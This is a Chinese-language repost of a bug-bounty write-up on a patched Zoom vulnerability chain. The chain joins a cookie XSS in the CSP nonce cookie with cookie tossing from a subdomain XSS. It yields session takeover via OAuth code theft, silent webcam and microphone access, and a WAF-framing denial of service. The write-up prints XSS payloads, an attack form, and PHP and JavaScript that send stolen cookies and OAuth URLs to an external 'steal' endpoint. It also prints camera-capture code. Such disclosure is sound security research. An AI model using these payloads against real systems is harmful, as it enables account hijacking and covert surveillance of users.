引言
在这篇博客文章中,我们将讲述如何将两个完全无用的XSS漏洞串联起来,形成一个持久的噩梦。这使我们能够通过OAuth Dirty Dancing窃取授权代码来劫持用户会话,并劫持基于Web的Zoom的受信任浏览器权限,以悄无声息地打开网络摄像头和麦克风。作为一种额外的拒绝服务技术,我们还将展示如何使用普通的XSS来执行我们所谓的“WAF陷害”,我们欺骗WAF将我们的受害者识别为恶意用户。
这一发现、利用和编写是由Sudi、BrunoZero和H4R3L的团队努力完成的。
我们于23年10月2日通过他们的漏洞赏金计划向Zoom报告了这个漏洞,并获得了15,000美元的奖金。Zoom在2024年1月1日完全修补了这个漏洞,并由我们的团队进行了验证。
Cookie XSS
XSS可能是Web应用程序中最常见的漏洞,但在一个支付了超过1000万美元赏金的程序的主域名上寻找它们需要相当大的勇气和信心,比如zoom.us
。至少,如果你想要快速获胜的话。我个人非常喜欢的一个被高度低估的错误是Cookie XSS。我知道这听起来很疯狂,这些漏洞默认情况下是自XSS,看起来似乎无法利用,但让我解释一下。
我们发现的第一个漏洞是_zm_csp_script_nonce
cookie中的一个无法利用的XSS漏洞。幸运的是,这实际上是一个CSP Nonce cookie,在每个带有CSP策略的页面上都被使用。
向https://zoom.us
发送以下cookie:Cookie: _zm_csp_script_nonce=test<>
我们在CSP头中得到了这些反射:content-security-policy: script-src 'nonce-test<>'
在脚本nonce本身中:<script nonce="test<>">...</script>
很明显,没有进行任何清理。我们首先想要做的是转义nonce属性,但我们很快就遇到了一个问题。看起来,每次我们试图用双引号转义nonce
属性时,Zoom都会生成一个完全随机的nonce:
请求Cookie: Cookie: _zm_csp_script_nonce=test">alert(1)//
响应CSP: content-security-policy: script-src 'nonce-5XTGYai_PTRYUB145'
响应HTML: <script nonce="5XTGYai_PTRYUB145">...</script>
经过一番尝试,我们发现在末尾的引号不会触发随机nonce,但也没有反映出来:
请求Cookie: Cookie: _zm_csp_script_nonce=test"
响应CSP: content-security-policy: script-src 'nonce-test'
响应HTML: <script nonce="test">...</script>
由于这不是通常的清理或过滤行为,这让我们相信这实际上是cookie字符串解析。有时,Web服务器会像解析带引号的字符串一样解析cookie的值。为了测试这个理论,我们尝试在引号内提供我们的有效负载,并在中间转义一个双引号。如果这确实是cookie字符串解析,那么转义一个引号应该让它反映出来:
请求Cookie: Cookie: _zm_csp_script_nonce="test"ESCAPED"
响应CSP: content-security-policy: script-src 'nonce-test"ESCAPED'
响应HTML: <script nonce="test"ESCAPED">...</script>
看来我们是正确的!这确实是cookie字符串解析,所以转义我们的转义引号让它反映了出来,没有任何解析错误。下一个问题是让CSP nonce匹配。如果你仔细观察,你会发现CSP头中的nonce实际上使用的是单引号'
而不是双引号"
。这意味着转义nonce属性的双引号实际上是nonce的一部分,这导致了CSP nonce不匹配。这有点烦人,但很容易修复。我们只需要用一个新的nonce覆盖损坏的CSP nonce,这个nonce与实际进入脚本的nonce属性匹配。
如果你不明白,也不用担心,这很混乱,坦白说对本文的主要观点并不那么相关,这只是我们必须做的一些转义工作,以便让这个XSS工作:
请求Cookie: _zm_csp_script_nonce="test"' 'nonce-test' >alert(1)// ";
响应CSP: content-security-policy: script-src 'nonce-test"' 'nonce-test' >alert(1)//
响应HTML: <script nonce="test"' 'nonce-test' >alert(1)//>...</script>
这似乎奏效了。我们被大约40个警报所迎接,因为nonce在页面上的大约40个脚本中不安全地反射。
因为Zoom非常重视他们的安全性,几乎每个页面都有CSP策略,这意味着几乎每个页面都容易受到这种cookie XSS的影响。不仅如此,由于大多数zoom子域名实际上是主zoom.us
域的克隆,我们实际上在zoom的几乎每个页面和几乎每个子域名上都有cookie XSS。这里有很多“潜在的能量”,但到目前为止还没有实际可以利用的。
Cookie Tossing
我们的第一反应是寻找任何可缓存的页面来下毒,但不幸的是,每个页面都返回了一个DYNAMIC
缓存头。我们尝试了几天寻找任何可缓存的页面,但Zoom可能在过去处理了足够多的缓存投毒报告,这就是为什么我们没有找到的原因。然而,我们没有放弃。我喜欢cookie XSS的一个主要原因是因为它为新漏洞打开了如此多的门。我们将展示的下一个技术,实际上允许我们在任何子域上升级XSS。
Cookie tossing是一种技术,它滥用“domain” cookie标志在不同来源之间设置cookie,只要它们共享相同的可注册域(即SameSite)。使用“domain”标志,你可以选择要在哪个域上设置新cookie。例如,www.example.com
可以在example.com
、sub.example.com
和sub2.sub.example.com
上设置cookie。在javascript中,它看起来像这样:document.cookie = "cookie=value; domain=.example.com
这是一个很好的技术,可以升级低风险和被忽视子域上的XSS漏洞。使用这种技术有很多很酷的方法,比如绕过某些CSRF机制。我们想利用这个想法从不同的来源“投掷”一个恶意的XSS cookie到主zoom.us
来源。
所以,到目前为止,我们知道:
-
我们在 zoom.us
的几乎每个页面上都有一个工作的Cookie XSS -
缓存投毒是不可能的 -
我们可以使用cookie tossing从每个子域传递cookie
考虑到这一点,我们意识到zoom.us
的任何子域上的XSS将解锁zoom.us
主域上的XSS。
Post-Based XSS
所以,知道我们可以使用cookie tossing将任何子域上的XSS升级为zoom.us
上的XSS,我们开始寻找zoom的任何子域上的任何类型的XSS。这实际上不是一个困难的任务,考虑到zoom拥有大量的子域。并非所有这些子域本身都有价值,这意味着那里的XSS本身基本上是没用的,这就是为什么许多子域在安全性方面可能被忽视的原因。我们发现的漏洞是redacted.zoom.us
上的基于post的XSS。这并不像我们最初的XSS那样酷,它只是你基本的基于post的XSS,没有什么特别的。对于那些新手来说,总是记得测试所有参数,包括POST请求中的body参数。我们的XSS看起来像这样:
POST /vuln_endpoint HTTP/1.1
Host: redacted.zoom.us
vuln_parameter="><script>alert(document.domain)</script>
这是我们制作有效利用的最后拼图。
漏洞串联
既然我们现在有了两个利用原语,让我们将它们串联起来,制作我们的第一个基本PoC利用。受害者的入口点将是redacted.zoom.us
上的基于post的XSS。入口有效载荷将向https://zoom.us/webinar/register
投掷一个恶意cookie,现在只是alert(document.domain)
,然后立即重定向用户到https://zoom.us/webinar/register
以激活cookie XSS。
(我们使用https://zoom.us/webinar/register
而不是https://zoom.us
的原因是,我们最初认为这是唯一的易受攻击路径。为了与我们最初的利用保持一致,我们将继续使用这个路径)
为了触发我们入口点的POST请求,我们需要使用以下HTML表单:
<form action="https://redacted.zoom.us/vuln_endpoint" method='POST'>
<input name='vuln_parameter' value=""
'><script>
document.cookie=`_zm_csp_script_nonce="TEST\"' 'nonce-TEST' >alert(document.domain)// ";path=/webinar;domain=.zoom.us;`;
location=`https://zoom.us/webinar/register`
</script>"/>
<button>exploit</button>
</form>
这是XSS链如何工作的视觉图,在我们将使用OAuth Dirty Dancing和浏览器权限劫持开始利用它之前。它非常详细,所以如果你将鼠标悬停在图片上,可以放大查看。
通过OAuth Dirty Dancing进行会话劫持
多亏了Cookie tossing链,我们现在在zoom.us上有了一个完整的XSS。为了证明最大的影响,我们想展示攻击者也有可能完全接管受害者的账户。由于Zoom允许用户通过Google/Apple登录,这是展示Frans Rosen的著名的OAuth Dirty Dance攻击的完美机会。
首先,为了开始攻击,我们需要了解OAuth流程是如何工作的。这基本上会给我们一个关于需要哪些cookie、参数和令牌来将泄露的授权代码转换为会话令牌的想法。
点击“使用Google登录”按钮,在后台触发了这个请求
请求
GET https://zoom.us/google_OAuth_signin
在请求方面,我们故意删除了所有额外的头,甚至是Cookie头。网站通常使用cookie来验证OAuth流程的状态,以避免任何CSRF问题。如果特定的cookie与状态不匹配,OAuth流程将失败,这通常是网站用来保护自己免受CSRF攻击的方法。
响应
HTTP/2 302 Found
Date: Sat, 23 Dec 2023 05:45:54 GMT
Content-Length: 0
Location: https://accounts.google.com/o/oauth2/v2/auth?...[参数]...
Set-Cookie: [设置cookie的详细信息]...
在Location
头中,我们可以得到OAuth URL,它将被用来完成使用Google登录的流程:
https://accounts.google.com/o/oauth2/v2/auth?...[参数]...
如果你再次发送相同的请求,唯一会改变的就是state参数,其余的将保持不变。
在响应头Set-Cookie
中,你可以看到确实有一些似乎与OAuth有关的cookie参数
zm_OAuth_back_params=eyJiYXNlX3VybCI6Imh0dHBzOi8vem9vbS51cyJ9
_zm_o2state=FaILMc3BTNCgYeNKg5LzMA
第一个看起来像是base64编码的字符串,基本上解码为
{"base_url":"https://zoom.us"}
第二个_zm_o2state
看起来不像是编码的字符串,那么它到底是什么呢?查看Google OAuth URL中的state参数值state=RmFJTE1jM0JUTkNnWWVOS2c1THpNQSxnb29nbGVfc2lnbmlu
,尝试base64解码得到这个:
FaILMc3BTNCgYeNKg5LzMA,google_signin
中了!!那个FaILMc3BTNCgYeNKg5LzMA
字符串与_zm_o2state
cookie参数值匹配。
继续下一步,让我们尝试将response_type
参数值从code
修改为code,id_token
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?...[参数]...
这导致了一个错误:Nonce required for response_type id_token.
很容易修复,只需在URL中添加一个nonce参数,用任何值即可
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?...[参数,包括nonce]...
点击我们想要登录的Google账户,将我们重定向回zoom.us
,在URL的哈希片段中带有授权代码。
(顺便说一句,我们可以从OAuth流程中移除这一步,这将使利用更加顺畅,因为那时就不需要进一步的用户交互了)
正如你所记得的,response_type
参数值被设置为code,但我们修改了它,这使得OAuth提供商在URL的哈希片段中而不是查询参数中发送了授权代码。代码在服务器端被验证,由于哈希片段部分没有发送到服务器,代码将不会被消耗。
这为攻击者提供了一个机会,以某种方式窃取这个未使用的代码,这可以通过在同一源上发生XSS来完成,授权代码也在那里泄露。我们所要做的就是创建我们的XSS端点窗口和泄露代码的窗口之间的某种关系,使用iframes本来很容易做到这一点,但由于你不能框架化发生所有OAuth流程的accounts.google.com页面,我们不得不使用window.open()
。
在一个正常的OAuth流程中,这对Zoom来说是一个漫长的过程。你可以在下面的截图中看到,连续发送了三个请求,以从授权代码中获取最终的会话cookie。
弄清楚如何将代码转换为会话cookie花费了很长时间。我们很快思考了可能用那个和OAuth Dirty Dance做些什么。我们没有花时间确认获取会话cookie所需的所有步骤,因为我们更专注于找到一个子域上的XSS来进行cookie tossing。
一旦我们完成了cookie XSS部分并使其成为完整的XSS,我们努力从泄露的代码中获取会话cookie。经过数小时查看每个请求,我们终于弄清楚了所有需要的东西,并创建了一个完整的会话接管利用。
下面是利用的实际行动:
我们将在下面发布完整利用脚本的片段,然后逐一解释那里发生了什么。它是用PHP编写的。你们肯定喜欢PHP,对吧?:P
<?php
$url = "https://zoom.us/google_OAuth_signin";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl); //[1]
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
curl_close($curl);
$headers = explode("rn", $headers);
我们的第一步是向https://zoom.us/google_OAuth_signin
端点发送请求,并将响应头保存在一个名为$headers
的变量中(所有这些操作都在服务器端完成,以便我们可以读取所有内容)
将包含OAuth URL的Location
头的值保存在$location
变量中
$location = substr($headers[3], 10); // OAuth URL存储在这里
从Set-Cookie
头中保存所有所需的cookie(我们知道这很乱,但有效😊),因为它们稍后会用到。
$cookie8 = explode(";",substr($headers[8],12))[0];
$cookie14 = explode(";",substr($headers[14],12))[0];
...
$cookie28 = explode(";",substr($headers[27],12))[0];
$cookie_all = $cookie8.$cookie14.$cookie15...$cookie28;
还记得我们之前提到可以移除受害者选择适当的Google账户登录的那一步吗?如果你从OAuth URL中移除&prompt=select_account
参数,Google将跳过“选择账户”步骤,并自动选择已经给予同意的账户。此外,我们后来发现没有必要切换response-type,因为即使它保留在查询参数中(状态不匹配,这就是为什么它失败了),授权代码仍然可以使用。
为了模拟现实世界的攻击,我们还将所有泄露的数据发送到我们控制的攻击者服务器,例如所需的cookie和OAuth URL
echo "n<br/><br/><br/><br/><br/><br/>";
$location = str_replace('&prompt=select_account', '', $location); // 使其交互性减少
echo $location;
# 发送此cookie到攻击者控制的服务器 https://en2celrrewbul.m.pipedream.net/steal?q=
$attackerDomain = "https://en2celrrewbul.m.pipedream.net/steal?q=";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $attackerDomain . urlencode($cookie_all));
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
利用的客户端代码与创建XSS窗口和授权代码窗口之间的关系有关。
看起来像这样
“提交”按钮旁边的表单输入字段包含我们将要执行的XSS有效载荷。“开始利用”链接旁边的文本区域包含将授权代码转换为会话cookie所需的cookie。(这些被发送到攻击者控制的域,并且只在网页上显示以使分类过程更容易。在现实世界的场景中,受害者将看不到这个,表单将自动提交)
攻击的工作原理如下:攻击者向受害者发送一个URL。受害者打开它,PHP脚本发出请求以获取OAuth URL并对其进行修改以进行攻击。
当调用此方法时,它打开一个新窗口以提交CSRF(基于post的XSS)表单,这触发了redacted.zoom.us
中的XSS,我们称这个窗口为winA。3秒后,当前窗口 - 我们称它为winB - 将重定向到我们从服务器端Location
头获取的OAuth URL。在代码中传递给window.location
的这个URL是动态更新的。
function startExploit() {
window.open("", "csrfWindow", "width=500,height=300,toolbar=0");
csrfForm.submit();
setTimeout(() => {
window.location = `https://accounts.google.com/o/oauth2/v2/auth?...`;
}, 3000);
}
这个有效载荷在winA中的redacted.zoom.us
上下文中执行
<script>
document.cookie=`...`;
location=`https://zoom.us/webinar/register`;
</script>
它为域.zoom.us
设置了带有XSS有效载荷的_zm_csp_script_nonce
cookie。我们还为cookie添加了路径属性,以便在存在同名cookie的情况下,由于路径属性更具体,我们的cookie将被优先考虑。设置XSS cookie后,我们将用户重定向到https://zoom.us/webinar/register
端点,该端点最终会反射我们设置的恶意cookie(这里也可以使用任何其他端点)。
由于重定向,winA现在是在http://zoom.us/webinar/register
而不是http://redacted.zoom.us
。
现在base64编码的有效载荷将在zoom.us
的上下文中执行
setTimeout(() => {
fetch('https://en2celr7rewbul.m.pipedream.net/steal?q='+escape(window.opener.document.location));
alert(window.opener.document.location);
},7000)
与此同时,在winB中,由于我们已经修改了prompt
参数,不再要求用户选择账户,OAuth流程将自动进行。然后,由于状态与cookie不匹配(正如我们上面解释的,网站如何保护自己免受与OAuth相关的CSRF攻击),OAuth流程失败了。
winB的位置现在是:
https://zoom.us/google/oauth?...[参数]...
利用在winA将在执行前等待7秒,以确保winB中的OAuth流程已完成。
winA和winB都具有相同的来源,因此从XSS(winA)我们可以读取winB窗口中的URL。
如果你从winA运行这行,它将给你winB的URL:
window.opener.document.location
要通过这个泄露的授权代码检索会话cookie,攻击者所需做的只是设置在生成OAuth URL时Set-Cookie
头中的cookie。
设置cookie后,只需打开包含代码和状态的泄露URL。攻击者可以从其日志中检索此URL,并成功登录到受害者的账户。
这是我们绘制的图表,以帮助您可视化OAuth Dirty Dancing攻击流程:
Cookie技巧
在报告了这个漏洞之后,我们惊讶地发现Zoom团队最初将我们的利用评为“中等”严重性。他们对于所谓的“账户接管”似乎存在误解,他们将其定义为完全重置用户的密码并将他们锁定在外。我们的利用泄露了受害者的会话,以便登录到他们的账户,而没有能力更改密码。这就是我们使用“会话接管”而不是“账户接管”的原因,以便与Zoom的VISS定义保持一致。虽然考虑到我们投入的工作量,这有点令人失望,但我们决定接受这个挑战,增加影响。
Zoom团队希望看到密码重置的原因是因为它展示了攻击者在受害者账户中的持久性。然而,重置用户的密码并不是展示持久性的唯一方式,这就引出了我非常喜欢cookie XSS的第二个原因。
当被利用时,cookie XSS本质上是客户端存储的XSS。由于cookie存储在受害者的浏览器中,并且在每次请求中发送,因此对易受攻击页面的每个未来请求都将导致XSS。这意味着XSS的生命周期与cookie一样长。
在我们的情景中,这更好,因为正如我们之前提到的,这个特定的cookie XSS实际上存在于zoom.us
的几乎所有页面上,这意味着它将触发用户几乎每次请求时的XSS。这非常有用,因为它实际上允许我们进行很多巧妙的技巧。
这种持久性的首要和最明显的优势是,我们可以编写自愈利用。为了确保我们不会失去对受害者账户的访问权限,我们可以在Cookie XSS中编写一个利用,在攻击者失去访问权限时静默地重新启动利用。这可能是因为会话过期,或者如果受害者登出了任何已登录的设备。一旦我们在受害者的浏览器中持久存在,我们可以在出现问题时随时重放攻击,只要受害者继续使用带有被下毒cookie的Zoom浏览器。
浏览器权限劫持
这可能是我在这次利用中使用的最喜欢的技巧。为了完全利用这个漏洞的影响,我们使用了一个非常酷的技巧,允许我们将我们的链变成持久的间谍软件。
所以总结一下,到目前为止,我们有一个工作正常的利用链,可以在zoom.us
的几乎所有页面上实现持久XSS。如果我们还考虑到Zoom是一家视频会议公司,我们可以假设他们有一个基于Web的视频通话版本。从这一点出发,我们可以推断,如果受害者曾经在Web上使用过Zoom,那么他们已经为Zoom的来源启用了必要的权限,以便出于合法目的访问他们的麦克风和摄像头。如果这是真的,那么我们可以在利用中添加一个新功能,劫持这些浏览器权限,并在不需要受害者接受弹出权限框的情况下,悄无声息地打开受害者的麦克风和摄像头。
由于我们有一个持久的利用,在我们的受害者被感染一次之后,我们就不再需要任何用户交互,这允许我们在用户参加会议或访问站点时每次都执行此利用。让我们看看我们是如何做到的。
首先,我们需要找到允许我们加入或开始会议的功能。我们发现在启动新会议时有“从您的浏览器加入”链接。
点击它会将我们重定向到app.zoom.us
。如果这是您第一次使用Web界面,浏览器会要求您接受使用摄像头和麦克风的权限。如果您过去已经接受过这些权限,它将不会再询问您。所以这种攻击向量只对至少使用过一次Zoom Web界面的用户有效。为了使这起作用,我们需要在app.zoom.us
上执行javascript,幸运的是,app.zoom.us
实际上是zoom.us
的完全克隆,这意味着我们的利用链也适用于这个来源。
要开始这部分利用,攻击者需要知道用户是否启用了这些权限。要使用javascript枚举浏览器权限,我们可以使用navigator API。以下是使用摄像头权限的示例:
navigator.permissions.query({name:"camera"}).then((result) => {
console.log(result.state)
});
如果权限已启用,我们可以预期result.state
将设置为granted
。如果没有启用,我们可以预期它是prompt
。如果被用户拒绝,我们可以预期是denied
。我们可以使用上述代码检查预期权限的状态,并且只有在权限被授予时才开始监视用户,这样我们就不会提醒没有启用这些权限的用户。这些权限被启用的可能性与用户至少使用过一次Zoom的Web应用程序版本参加会议的可能性一样高。
这是一个快速的JavaScript概念验证示例,展示了你确实可以启用摄像头:
const video = document.createElement('video');
video.autoplay = true;
video.style.width = '100%';
video.style.maxWidth = '600px';
document.body.appendChild(video);
navigator.mediaDevices.getUserMedia({ video: true })
.then((stream) => video.srcObject = stream)
.catch((error) => alert(`getUserMedia error: ${error.name}`));
显然,这个脚本本身并不恶意,但现在你可以使用WebRTC和WebSockets将网络摄像头的视频流发送到C2服务器,以便在用户没有接受任何权限的情况下监视他们。
在寻找XSS时,始终要考虑上下文。有些网页比其他网页更受信任和具有更多权限,无论是CORS、X-Frames还是浏览器权限。所以下次你发现一个XSS,帮自己一个忙,列举一下浏览器权限,因为你可能已经中了大奖。
通过WAF陷害实现DoS
我们还想获得一些可用性分数,并展示次要的攻击向量。我们通过向每个Zoom子域投掷恶意cookie来滥用WAF,使受害者看起来像是恶意用户:
document.cookie="test=<script>; domain=.zoom.us";
任何带有WAF的Zoom子域都会立即检测到投掷的cookie是恶意的,并拒绝用户的访问。通过简单地将用户框架为攻击者,我们可以有效地拒绝受害者访问使用WAF的每个子域上的每个页面。
专业提示:如果你不想成为一个混蛋,完全拒绝访问每个页面,你可以使用“path”cookie标志只发送恶意cookie到你不希望受害者访问的特定页面,例如“更改密码”页面;)
document.cookie="test=<script>; domain=.example.com; path=/change-password";
结论
编写这个漏洞利用非常有趣,也学到了许多有趣且将来可以应用的新技术。
首先,我们了解到cookie XSS的潜力比最初预期的要大得多,它们不仅可以通过缓存投毒来利用,还可以通过cookie tossing来利用。这为在其他无用的子域上升级XSS漏洞打开了新的可能性。
此外,我们了解到在cookie中拥有一个工作的XSS实际上非常强大,它在浏览器中引入了持久性,这对于保持会话劫持的活跃和编写间谍软件非常有用。
我们还了解到,有些网站比其他网站具有更多权限,利用任何先前授予的权限 - 例如摄像头和麦克风 - 可以使XSS漏洞更加危险和有影响力。重申一下,这个漏洞已经被Zoom完全修复,并由我们的团队进行了验证。
最后,我们还了解到,如果我们想为任何XSS漏洞获得这些CVSS可用性分数,我们可以使用WAF陷害,通过cookie tossing故意投掷恶意cookie到每个子域,使其看起来像是我们的受害者是攻击者。
如果你仍在阅读,感谢你花时间完成这篇博客!我们知道它很长,充满了细节,我们希望你学到了一些知识
如果你有任何问题,请不要犹豫,联系我(H4R3L)、Sudi或BrunoZero。
- END -
原文始发于微信公众号(3072):Zoom session 窃取漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论